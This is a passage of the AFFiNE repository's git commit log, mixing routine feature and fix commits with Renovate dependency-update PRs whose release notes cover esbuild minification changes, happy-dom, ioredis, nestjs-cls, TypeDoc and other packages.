-   Better minification of statically-determined `switch` cases ([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

    With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')
    switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

-   Emit `/* @&#8203;__KEY__ */` for string literals derived from property names ([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

    Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/) have a convention where a `/* @&#8203;__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.

    However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).

    With this release, esbuild will now generate `/* @&#8203;__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).

-   The `text` loader now strips the UTF-8 BOM if present ([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

    Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.

-   Omit legal comment output files when empty ([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

    Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.

-   Update Go from 1.23.1 to 1.23.5 ([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056), [#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

    This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.

    This PR was contributed by [@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

-   Allow passing a port of 0 to the development server ([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

    Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.

    Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.

    Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.

-   Minification now avoids inlining constants with direct `eval` ([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

    Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.1...v17.0.2)

##### 👷‍♂️ Patch fixes

-   The property "tabIndex" should return "0" by default in `HTMLAnchorElement`, `HTMLAreaElement`, `HTMLButtonElement`, `HTMLIFrameElement`, `HTMLInputElement`, `HTMLMediaElement`, `HTMLObjectElement`, `HTMLSelectElement` and `HTMLTextAreaElement` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1714](https://redirect.github.com/capricorn86/happy-dom/issues/1714)

### [`v17.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.0...v17.0.1)

##### 👷‍♂️ Patch fixes

-   Ensure `querySelector()` returns the first item that appears in the DOM for grouped selectors - By **[@&#8203;christiango](https://redirect.github.com/christiango)** in task [#&#8203;1710](https://redirect.github.com/capricorn86/happy-dom/issues/1710)

</details>

<details>
<summary>luin/ioredis (ioredis)</summary>

### [`v5.5.0`](https://redirect.github.com/luin/ioredis/blob/HEAD/CHANGELOG.md#550-2025-02-07)

[Compare Source](https://redirect.github.com/luin/ioredis/compare/v5.4.2...v5.5.0)

##### Features

-   Add ability for nat mapping through function ([#&#8203;1948](https://redirect.github.com/luin/ioredis/issues/1948)) ([3a04bee](3a04bee109))
-   **HscanStream:** adding NOVALUES option ([#&#8203;1943](https://redirect.github.com/luin/ioredis/issues/1943)) ([2f9843d](2f9843ddfa))

#### [5.4.2](https://redirect.github.com/luin/ioredis/compare/v5.4.1...v5.4.2) (2024-12-20)

##### Bug Fixes

-   Connection instability when using socketTimeout parameter ([#&#8203;1937](https://redirect.github.com/luin/ioredis/issues/1937)) ([ca5e940](ca5e9405f8)), closes [#&#8203;1919](https://redirect.github.com/luin/ioredis/issues/1919)

#### [5.4.1](https://redirect.github.com/luin/ioredis/compare/v5.4.0...v5.4.1) (2024-04-17)

##### Bug Fixes

-   remove console.log ([558497c](558497cba8))

</details>

<details>
<summary>ospfranco/link-preview-js (link-preview-js)</summary>

### [`v3.0.14`](https://redirect.github.com/OP-Engineering/link-preview-js/releases/tag/3.0.14)

[Compare Source](https://redirect.github.com/ospfranco/link-preview-js/compare/3.0.13...3.0.14)

#### What's Changed

-   feat: drop uneeded polyfills by [@&#8203;talentlessguy](https://redirect.github.com/talentlessguy) in [https://github.com/OP-Engineering/link-preview-js/pull/163](https://redirect.github.com/OP-Engineering/link-preview-js/pull/163)

#### New Contributors

-   [@&#8203;talentlessguy](https://redirect.github.com/talentlessguy) made their first contribution in [https://github.com/OP-Engineering/link-preview-js/pull/163](https://redirect.github.com/OP-Engineering/link-preview-js/pull/163)

**Full Changelog**: https://github.com/OP-Engineering/link-preview-js/compare/3.0.13...3.0.14

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.475.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.475.0): New icons 0.475.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.474.0...0.475.0)

#### New icons 🎨

-   `circle-small` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars-stroke` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `non-binary` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `transgender` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus-and-mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.7`](https://redirect.github.com/markedjs/marked/compare/v15.0.6...bf4952f4958cb3fef586deaa7299c1e462072a3a)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.6...v15.0.7)

</details>

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.1.2`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.1.2)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.1...nestjs-cls@5.1.2)

##### Bug Fixes

-   **core**: allow all Object.prototype key access on strict providers ([#&#8203;214](https://redirect.github.com/Papooch/nestjs-cls/issues/214)) ([e938c6d](https://redirect.github.com/Papooch/nestjs-cls/commits/e938c6d))

### [`v5.1.1`](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.0...f9b14d4ea8508c26272fd5be3da526347c49f4f1)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.0...nestjs-cls@5.1.1)

### [`v5.1.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.1.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.0.1...nestjs-cls@5.1.0)

##### Bug Fixes

-   **core**: allow accessing constructor on strict proxy providers ([#&#8203;211](https://redirect.github.com/Papooch/nestjs-cls/issues/211)) ([bf0f871](https://redirect.github.com/Papooch/nestjs-cls/commits/bf0f871))

##### Features

-   **core**: add saveCtx option in enhancer setup

This allows storing the ExecutionContext in the CLS (enabled by default) ([4dcda62](https://redirect.github.com/Papooch/nestjs-cls/commits/4dcda62))

-   **core**: add `saveCtx` option in enhancer setup ([#&#8203;212](https://redirect.github.com/Papooch/nestjs-cls/issues/212)) ([4dcda62](https://redirect.github.com/Papooch/nestjs-cls/commits/4dcda62))

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>prettier/prettier (prettier)</summary>

### [`v3.5.0`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#350)

[Compare Source](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

[diff](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

🔗 [Release Notes](https://prettier.io/blog/2025/02/09/3.5.0.html)

</details>

<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>

### [`v4.12.5`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/react-virtuoso%404.12.5)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/react-virtuoso@4.12.4...react-virtuoso@4.12.5)

##### Patch Changes

-   [`b1d4519`](https://redirect.github.com/petyosi/react-virtuoso/commit/b1d4519): Revert node requirements

### [`v4.12.4`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/react-virtuoso%404.12.4)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.3...react-virtuoso@4.12.4)

##### Patch Changes

-   [`fdbf0c5`](https://redirect.github.com/petyosi/react-virtuoso/commit/fdbf0c5): Updated to latest tooling
-   [`fdbf0c5`](https://redirect.github.com/petyosi/react-virtuoso/commit/fdbf0c5): correct TS types for custom component, context is always passed

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.7`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0277-2025-02-09)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.6...v0.27.7)

##### Features

-   `@includeCode` and `@inline` can now inject parts of files using region
    names or line numbers, [#&#8203;2816](https://redirect.github.com/TypeStrong/TypeDoc/issues/2816).
-   Introduced `ja` translation options, deprecated `jp` in favor of `ja`, [#&#8203;2843](https://redirect.github.com/TypeStrong/TypeDoc/issues/2843).
-   Improved TypeDoc's `--watch` option to support watching files not caught by
    TypeScript's watch mode, [#&#8203;2675](https://redirect.github.com/TypeStrong/TypeDoc/issues/2675).
-   The `@inline` tag now works in more places for generic types.
-   Visibility filters now consider individual signatures, [#&#8203;2846](https://redirect.github.com/TypeStrong/TypeDoc/issues/2846).

##### Bug Fixes

-   Fixed an issue where TypeDoc would incorrectly ignore type arguments in references, [#&#8203;2823](https://redirect.github.com/TypeStrong/TypeDoc/issues/2823).
-   Improved narrator support for labeling icons, [#&#8203;2832](https://redirect.github.com/TypeStrong/TypeDoc/issues/2832).
-   Fixed an issue with `@class` incorrectly handling mapped types, [#&#8203;2842](https://redirect.github.com/TypeStrong/TypeDoc/issues/2842).
-   TypeDoc will now consider symbols to be external only if all of their declarations are external
    so

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 13:25:15 +00:00
fengmk2
67b6c28d67 refactor(server): use user model on oauth plugin (#10031)
close CLOUD-117
2025-02-10 20:26:34 +08:00
L-Sun
23364b59a0 fix(editor): wrap doc title by default (#10052)
Close [AF-2195](https://linear.app/affine-design/issue/AF-2195/editor-的-title-overflow-时没有换行)
2025-02-10 11:30:14 +00:00
fundon
d03744688b refactor(editor): move embed-card-modal to components (#10037) 2025-02-10 10:56:13 +00:00
akumatus
397887e3b5 fix(core): not using Internet search after user selects document or file (#10058)
Fix issue [BS-2546](https://linear.app/affine-design/issue/BS-2546).
2025-02-10 10:40:14 +00:00
pengx17
6839e634e7 fix: at menu toolip should always use the default color (#10054)
fix AF-2194
2025-02-10 18:22:25 +08:00
fengmk2
0757f29f83 refactor(server): use doc model on doc cron job (#10057) 2025-02-10 09:52:44 +00:00
renovate
e8bac17b3c chore: bump up nestjs (#10040)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.6` -> `2.4.9`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.9` -> `1.2.12`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.9`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.8...@nestjs-cls/transactional@2.4.9)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.8...@nestjs-cls/transactional@2.4.9)

### [`v2.4.8`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.7...@nestjs-cls/transactional@2.4.8)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.7...@nestjs-cls/transactional@2.4.8)

### [`v2.4.7`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.6...@nestjs-cls/transactional@2.4.7)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.6...@nestjs-cls/transactional@2.4.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 08:29:10 +00:00
Brooooooklyn
97f3b78924 chore: update nolyfill list (#10027) 2025-02-10 08:13:10 +00:00
fundon
9689811226 fix(editor): typos on embed card modal (#10046) 2025-02-10 07:57:10 +00:00
L-Sun
9f56a21d8a feat(editor): add animation for switching to edgeless mode firstly (#10021)
Close [BS-2327](https://linear.app/affine-design/issue/BS-2327/page-block-%E5%9C%A8-edgeless-%E5%88%87%E6%8D%A2%E7%BC%A9%E6%94%BE%E5%8A%A8%E7%94%BB)

### What Changes:
- Add a zoom animation when switching to edgeless mode firstly
- Move viewport record from `sessionStorage` to `localStorage`

https://github.com/user-attachments/assets/dac11aab-76bd-44b1-8c0e-4a8a10919841
2025-02-10 07:41:10 +00:00
doodlewind
1d1eab8139 fix(editor): workaround empty text in insertText (#10049)
`sentry-5a32bef4f2724b5f8e6f31791cb20feb`
2025-02-10 07:24:26 +00:00
Oleg
d4f0c53a0c feat(core): frame editor settings (#9970)
Co-authored-by: L-Sun <zover.v@gmail.com>
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-02-10 15:23:32 +08:00
Brooooooklyn
03b806384c ci: fix doc deployment container port (#10048) 2025-02-10 07:06:10 +00:00
forehalo
c3f5b4abb4 test(server): utils (#10028) 2025-02-10 06:35:11 +00:00
Flrande
8f6b512cfd feat(editor): update edgeless media entry icon and anime (#10047) 2025-02-10 05:59:07 +00:00
doodlewind
614ae024c2 fix(editor): workaround empty content in worker renderer (#10043) 2025-02-10 03:35:50 +00:00
EYHN
92f4f0c2d9 feat(core): guard service (#9816) 2025-02-09 23:26:38 +00:00
EYHN
879157b938 fix(core): hide export tab on mobile (#10038) 2025-02-09 20:36:25 +08:00
fengmk2
09b5eb60eb refactor(server): handle ConnectedAccount on user model (#10030) 2025-02-09 08:31:02 +00:00
Brooooooklyn
18513c6e55 chore: make DOC_SERVICE_ENDPOINT dynamic computed (#10029) 2025-02-08 05:27:57 +00:00
fengmk2
e5d1cd9ea2 feat(server): use doc service (#9967)
close CLOUD-94
2025-02-08 05:27:56 +00:00
zzj3720
ee0df52531 feat(editor): table block supports copy and paste in HTML format (#10020)
close: BS-2483
2025-02-08 04:40:12 +00:00
fengmk2
5d62c5e85c feat(server): implement doc service (#9961)
close CLOUD-94
2025-02-08 03:37:41 +00:00
JimmFly
5ae5fd88f1 feat(core): add doc grant feature to share menu (#9672) 2025-02-07 13:05:58 +00:00
L-Sun
459972fe6c fix(editor): add missing zod schema for edgeless frame (#10024)
Related to https://github.com/toeverything/AFFiNE/pull/9970#discussion_r1944971309

### What changes:
- Add missing zod shcema for edgeless basic props
- Change `applyLastProps` to generic function for better return type inference of
- Fix: add `ZodIntersection` case to `makeDeepOptional`
2025-02-07 12:49:59 +00:00
fengmk2
36ed81bcc6 refactor(server): use doc model on PgWorkspaceDocStorageAdapter (#9852)
close CLOUD-104
2025-02-07 12:21:58 +00:00
forehalo
0b9d30b55a refactor: rename all page query to doc (#10019) 2025-02-07 11:40:59 +00:00
Brooooooklyn
4e00ddd5f1 feat(server): graceful shutdown for AI streams (#10025)
https://github.com/user-attachments/assets/8dd3c4f5-4059-4f03-9f51-68078d7ab5c4
2025-02-07 11:25:02 +00:00
donteatfriedrice
0df94b8e35 fix(core): typo (#10022)
[BS-2532](https://linear.app/affine-design/issue/BS-2532/typo-tidy-a-article-with-ai-mindmap-action-tidy-an-article-with-xxxxx)
2025-02-07 11:09:00 +00:00
Brooooooklyn
1fda17af64 chore: remove depracated package (#10018) 2025-02-07 10:38:58 +00:00
donteatfriedrice
b38389c670 feat(core): add tooltip for import dialog snapshot item (#10013)
[PD-2132](https://linear.app/affine-design/issue/PD-2132/import-导入优化:snapshot-需要一个问号,解释文档)
2025-02-07 10:23:59 +00:00
JimmFly
d5a626d9c3 feat(core): optimize team workspace member management (#9737)
close AF-2106 AF-2077 AF-2089

feat(core): handle need more seat status

feat(core): prevent invite members when team plan is canceled
2025-02-07 10:08:00 +00:00
CatsJuice
85d916f1eb feat(mobile): create from template on mobile (#9968) 2025-02-07 09:52:59 +00:00
CatsJuice
527878a55c chore(core): allow to rename and add multiple template property (#9972) 2025-02-07 09:36:58 +00:00
CatsJuice
b4f078b9c9 feat(core): add deleted state for sidebar journal template (#9980) 2025-02-07 09:09:58 +00:00
Brooooooklyn
2ed54ad421 test(server): grant doc user roles (#10016) 2025-02-07 08:54:27 +00:00
Brooooooklyn
9262cb120c test(server): update page default role with non-exists workspace (#10012) 2025-02-07 08:27:58 +00:00
CatsJuice
f13aac7331 chore(core): adjust starter-bar badge size (#9976) 2025-02-07 08:01:58 +00:00
forehalo
4b1c931503 fix(server): default page owner (#10015) 2025-02-07 07:31:56 +00:00
pengx17
9fd547d484 chore(core): upload flaky test traces (#9974) 2025-02-07 15:15:45 +08:00
Yifeng Wang
fc4fe481ef refactor(editor): improve worker renderer code structure (#10011) 2025-02-07 14:59:08 +08:00
Flrande
7eb1ed170c feat(editor): add edgeless media entry (#9949) 2025-02-07 06:10:11 +00:00
forehalo
12cc94f32a fix(server): batch grant page roles (#10007) 2025-02-07 05:55:07 +00:00
Yifeng Wang
b9ad53ae68 feat(editor): support reusing bitmap cache when panning (#10008) 2025-02-07 04:59:43 +00:00
pengx17
3f0a9f4433 feat(core): index table block types (#9989)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/b7eeb6fa-75b7-453a-9faa-5f6e9701089b.png)

fix BS-2520
2025-02-07 04:04:27 +00:00
liuyi
00b1f01f9b feat(server): add public user type (#10006) 2025-02-07 04:03:59 +00:00
JimmFly
e68bdbde3e feat(core): add self host team plan (#9569) 2025-02-07 03:35:24 +00:00
Brooooooklyn
5710e8c639 fix(server): generate migration for workspace pages default role (#10002) 2025-02-07 03:16:54 +00:00
renovate
d45d6d8a61 chore: bump up all non-major dependencies (#9996)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.741.0` -> `3.743.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.741.0/3.743.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.0` -> `34.1.1`](https://renovatebot.com/diffs/npm/electron/34.1.0/34.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.0/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.0/34.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
